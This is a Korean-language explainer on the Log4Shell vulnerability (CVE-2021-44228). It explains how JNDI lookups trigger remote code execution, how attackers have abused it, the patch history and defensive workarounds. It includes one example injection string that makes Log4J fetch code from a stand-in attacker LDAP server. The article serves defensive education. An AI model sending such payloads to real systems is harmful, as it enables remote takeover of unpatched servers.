Log4Shell이란 무엇인가요?

Log4Shell - 공통 취약점 및 노출 CVE 식별자: CVE-2021-44228은 CVSS(공통 취약점 점수 시스템) 점수가 10점이며, 이는 심각한 취약점임을 나타냅니다. 이는 광범위한 범위와 잠재적으로 치명적인 결과를 초래할 수 있기 때문에 가장 위험한 취약점 중 하나로 간주됩니다.

웹 애플리케이션, 클라우드 서비스, 서버와 같은 물리적 엔드포인트를 포함한 모든 디지털 자산의 약 10%가 발견 당시 Log4Shell에 취약한 것으로 추정됩니다. 해커는 Log4Shell을 사용하여 데이터 탈취(데이터 유출), 랜섬웨어 설치, 봇넷용 디바이스 캡처 등 거의 모든 작업을 수행할 수 있습니다.

클라우드 보안 연구원들은 2021년 11월에 Log4Shell을 처음 발견했습니다. Apache는 2021년 12월에 패치를 릴리스했으며, 2.17.1 이후의 모든 Log4J 버전은 Log4Shell 및 관련 취약점으로부터 자유롭습니다. 그러나 사이버 보안 및 인프라 보안 기관(CISA)에 따르면 Log4Shell은 여전히 가장 일반적으로 악용되는 취약점 중 하나입니다. Log4J가 소프트웨어 공급망에 광범위하게 사용되고 있어, 취약한 모든 인스턴스를 찾아 수정하는 데는 몇 년이 걸릴 수 있습니다.

그때까지 보안 팀은 네트워크 노출을 줄이기 위한 다른 조치를 취할 수 있습니다. 자세한 내용은 아래에서 확인하세요.

Log4Shell은 Apache Software Foundation에서 유지 관리하는 오픈 소스 로깅 라이브러리인 Log4J에 영향을 미칩니다. Log4J는 프로그램에서 일어나는 정보와 이벤트를 기록하는 소프트웨어 구성 요소인 로거입니다. 예를 들어 오류 메시지와 사용자 입력과 같은 프로그램의 일부입니다.

Log4J는 독립형 프로그램이 아니라 개발자가 로거를 처음부터 빌드하는 대신 Java 애플리케이션에 플러그인할 수 있는 코드 패키지입니다. Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco 등 다양한 주요 기업들이 자신의 소프트웨어와 서비스에 Log4J를 사용하고 있습니다.

Log4Shell은 취약한 Log4J 버전이 Java 네이밍 및 디렉토리 인터페이스(JNDI) 조회와 메시지 조회 대체라는 두 가지 관련 기능을 처리하는 방식에서 비롯됩니다. 각 기능들은 그 자체로는 해롭지 않지만, 기능 간의 상호 작용은 해커에게 강력한 무기가 됩니다.

JNDI는 Java 애플리케이션이 외부 서버에서 호스팅되는 리소스에 액세스하는 데 사용하는 애플리케이션 프로그래밍 인터페이스(API)입니다. JNDI 조회는 서버로 이동하여 데이터나 스크립트와 같은 특정 객체를 다운로드하도록 앱에 지시하는 명령입니다. Log4J 2의 이전 버전은 이 방식으로 다운로드한 모든 코드를 자동으로 실행합니다.

메시지 조회 대체를 사용하면 사용자와 앱이 특정 구문(${prefix:name})을 사용하여 로그 메시지 내에서 Log4J에 변수를 보낼 수 있습니다. Log4J는 이 구문을 발견하면 변수를 확인하고 로그에 값을 기록합니다. 예를 들어 Log4J가 다음과 같은 메시지를 수신한 경우:

${java:version}

이는 장치에서 실행 중인 Java의 현재 버전을 알아냅니다. 로그에는 "Java 버전 X.XX"라고 기록됩니다.

다시 말해, Log4J는 메시지 조회 대체를 일반 텍스트처럼 취급하지 않습니다. Log4J는 이들을 명령처럼 취급하고 이들이 말하는 내용에 따라 조치를 취합니다. 해커는 이 사실을 이용하여 취약한 Log4J 버전을 실행하는 앱에 악성 JNDI 조회 명령을 보낼 수 있습니다. 예를 들어 해커는 Log4J에 다음과 같은 문자열을 보낼 수 있습니다.

${jndi:ldap://myevilwebsite.biz/maliciouscode}

Log4J는 이 메시지를 받으면 myevilwebsite.biz의 서버에 연결하고 /maliciouscode에 있는 개체를 다운로드하여 변수를 확인합니다. 이 과정에서 Log4J는 해커가 해당 위치에 숨겨둔 Java 코드(보통 맬웨어)를 실행하게 됩니다.

해커는 표준 프로토콜을 사용하여 Log4Shell을 트리거할 수 있으므로 악의적인 트래픽이 탐지를 더 쉽게 회피할 수 있습니다. 대부분의 Log4Shell 공격은 경량 디렉터리 액세스 프로토콜(LDAP), 원격 메서드 호출(RMI), 또는 도메인 이름 시스템(DNS) 프로토콜 중 하나를 사용합니다.

LDAP는 다양한 앱과 서비스가 액세스할 수 있는 중앙 위치에 데이터를 저장하는 데 사용됩니다. LDAP는 해커가 Log4Shell을 악용하는 데 사용하는 가장 일반적인 방법입니다. 일반적인 공격은 다음과 같이 진행됩니다.

• 해커는 LDAP 서버를 설정하고 악성 코드를 저장합니다.
  
  
• 해커는 Log4J를 사용하여 프로그램에 JNDI 조회를 보냅니다.
  
  
• JNDI 조회를 통해 프로그램은 공격자의 LDAP 서버에 접속하여 페이로드를 다운로드하고 코드를 실행합니다.

RMI는 한 장치의 앱이 다른 장치의 앱에 정보 공유나 기능 수행과 같은 작업을 수행하도록 지시할 수 있는 Java 기능입니다.

RMI 공격은 LDAP 공격과 유사한 방식으로 작동합니다. 해커는 RMI 서버를 설정하고 대상을 속여 서버에 연결하도록 한 다음 악의적인 명령을 대상으로 다시 보냅니다.

RMI 공격은 그리 흔하지 않지만, 일부 해커들은 조직이 LDAP 트래픽을 완전히 차단하고 있기 때문에 RMI로 전환하고 있습니다.

해커는 DNS를 사용하여 공격 대상을 정찰합니다. 해커는 JNDI 조회를 프로그램에 보내 해커가 제어하는 DNS 서버에 연결하라고 지시합니다. DNS 서버가 프로그램의 연결을 기록하면 해커는 시스템이 추가적인 Log4Shell 악용 시도에 취약하다는 것을 알게 됩니다.

Log4Shell을 사용하면 해커가 임의의 코드를 실행할 수 있기 때문에 사이버 범죄자는 이 결함을 이용해 다양한 공격을 시작할 수 있습니다. Log4Shell은 발견 당시 제로데이 취약점이었기 때문에 해커가 이를 악용하기 시작했습니다.

초기의 Log4Shell 공격 중 일부는 소유자 몰래 장치를 사용하여 암호 화폐를 채굴하는 맬웨어의 일종인 크립토재커로 컴퓨터를 감염시켰습니다. Mirai 봇넷은 이 결함을 이용해 디바이스를 장악하기도 했습니다.

여러 랜섬웨어 공격이 Log4Shell을 활용했습니다. 가장 눈에 띄는 것으로는 비디오 게임 Minecraft를 통해 확산된 Khonsari 변종과 VMware Horizon을 실행하는 시스템을 표적으로 삼는 NightSky가 있습니다.

액세스 브로커는 Log4Shell을 사용하여 고가치 기업 네트워크에 거점을 마련했으며, 종종 손상된 시스템에 원격 액세스 트로이 목마(RAT)를 비밀리에 설치했습니다. 액세스 브로커는 이러한 거점을 서비스형 랜섬웨어 계열사나 다크웹의 다른 해커에게 판매합니다.

Apache가 Log4Shell을 발견한 후 패치 작업을 진행하면서 몇 가지 관련 결함이 드러났습니다. 궁극적으로 Log4Shell 및 관련된 모든 취약점을 완전히 수정하려면 4개의 패치가 필요했습니다.

Apache가 출시한 첫 번째 패치인 Log4J 버전 2.15.0은 Log4Shell 취약점의 대부분을 해결했습니다. 하지만 해커는 여전히 기본이 아닌 특정 설정을 사용하는 시스템에 악의적인 JNDI 조회를 계속 보낼 수 있습니다. Apache는 Log4J 버전 2.16.0에서 이 결함을 해결했습니다.

2.16.0 버전도 불완전한 것으로 밝혀졌습니다. 해커는 악의적인 메시지 조회를 사용하여 취약한 시스템을 무한 반복으로 보내 서비스 거부 공격을 일으킬 수 있습니다. Apache는 이 결함을 수정하기 위해 버전 2.17을 출시했습니다.

다른 결함보다 덜 심각한 이 결함으로 인해 해커는 원격으로 코드를 실행할 수 있었지만 먼저 높은 권한을 얻고 로그 구성을 변경해야 했습니다. Apache는 네 번째 패치인 Log4J 버전 2.17.1로 이 문제를 해결했습니다.

보안 연구자들은 조직이 네트워크의 모든 Log4J 인스턴스를 최신 버전 또는 최소 버전 2.17.1로 업데이트하는 데 우선순위를 둘 것을 강력히 권장합니다. 패치는 Log4Shell을 완전히 수정하는 유일한 방법입니다.

그러나 보안 팀은 네트워크에 있는 Log4J의 모든 인스턴스를 즉시 패치하지 못할 수도 있습니다. 취약한 Log4J 설치는 간접적인 종속성으로 존재하는 경우가 많습니다. 즉, 회사 자산은 Log4J를 사용하지 않지만 Log4J를 사용하는 다른 앱 및 서비스에 의존한다는 의미입니다. Google에 따르면 대부분의 취약한 Log4J 인스턴스는 심도가 1레벨 이상이고 일부는 9레벨 이상입니다.

Log4J가 간접적인 종속성인 경우 보안 팀이 이를 찾는 것이 훨씬 더 어려워집니다. 발견하더라도 존재하는 위치에 따라 패치하지 못할 수도 있습니다. Log4J가 타사 앱에서 사용하는 소프트웨어 패키지에 포함된 경우, 보안 팀은 공급업체가 업데이트하도록 해야 합니다.

Log4J가 직접적인 종속성으로 존재하는 경우에도 식별하기 어려울 수 있습니다. 오늘날 소프트웨어 개발 프로세스는 대규모 팀과 방대한 기존 코드에 의존하며 매우 복잡합니다. 개발자는 자신의 앱에 Log4J의 취약한 버전이 있다는 사실을 깨닫지 못할 수도 있습니다. 이러한 인스턴스는 개발자가 직접 코딩하지 않은 미리 작성된 소프트웨어 패키지 깊숙이 있을 수 있기 때문입니다.

2022년 12월 현재 Log4J 다운로드의 25%가 여전히 Log4Shell에 취약했으며, 이는 사람들이 새로운 자산을 구축하는 데 오래된 버전의 Log4J를 사용하고 있음을 의미합니다.

미국 국토안보부에 따르면 Log4J는 소프트웨어 공급망에서 널리 사용되기 때문에 모든 취약한 인스턴스를 찾아서 수정하는 데 최소 10년이 걸릴 것이라고 합니다.

그동안 보안팀은 네트워크 노출을 줄이기 위해 다른 조치를 취할 수 있습니다.

보안팀은 Log4J에서 메시지 조회 대체를 허용하지 않도록 설정하여 Log4J가 해커의 메시지를 실행 명령이 아닌 일반 텍스트로 취급하도록 할 수 있습니다.

"Log4J2.formatMsgNoLookups"를 변경하는 방법에는 두 가지가 있습니다. 시스템 속성을 "true"로 설정하거나 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경 변수의 값을 "true"로 설정합니다.

패치되지 않은 Log4J 버전은 여전히 CVE-2021-45046의 문제를 겪고 있으며, 이로 인해 기본이 아닌 특정 설정이 사용될 때 해커가 악의적인 JNDI 조회를 보낼 수 있습니다. 따라서 메시지 조회를 금지하는 것은 완벽하지 않습니다.

Java 앱은 클래스를 사용하여 프로그램이 수행할 수 있는 작업을 정의합니다. Log4J에서 "JNDIlookup" 클래스는 JNDI 조회를 관리합니다. 이 클래스가 Log4J의 클래스 디렉터리(클래스 경로라고도 함)에서 제거되면 JNDI 조회를 더 이상 수행할 수 없습니다.

JNDI 조회를 허용하지 않으면 해커가 악성 명령을 보내는 것을 방지할 수 있지만, Log4J의 다른 기능과 이를 사용하는 앱에도 영향을 줄 수 있습니다. 또한 클래스의 모든 인스턴스가 제거되었는지 확인하는 것도 어려울 수 있습니다.

조직은 방화벽 및 기타 사이버 보안 도구를 사용하여 취약한 인터넷 연결 자산에서 공격자가 제어하는 서버로 전달되는 트래픽을 차단할 수 있습니다. 예를 들어 보안 팀은 LDAP 또는 RMI 프로토콜을 사용하는 모든 연결을 허용하지 않도록 규칙을 설정할 수 있습니다.

인바운드 트래픽 대신 아웃바운드 트래픽을 차단하면 공급업체와 보안 연구원이 자산을 스캔하여 패치되지 않은 상태로 남아 있는 인스턴스를 찾을 수 있으므로 오탐을 방지하는 데 도움이 됩니다.

단점은 방화벽이 필요한 아웃바운드 연결을 차단하거나 좌절시킬 수 있다는 것인데, 특히 조직이 합법적인 이유로 LDAP 또는 RMI를 사용하는 경우 더욱 그렇습니다.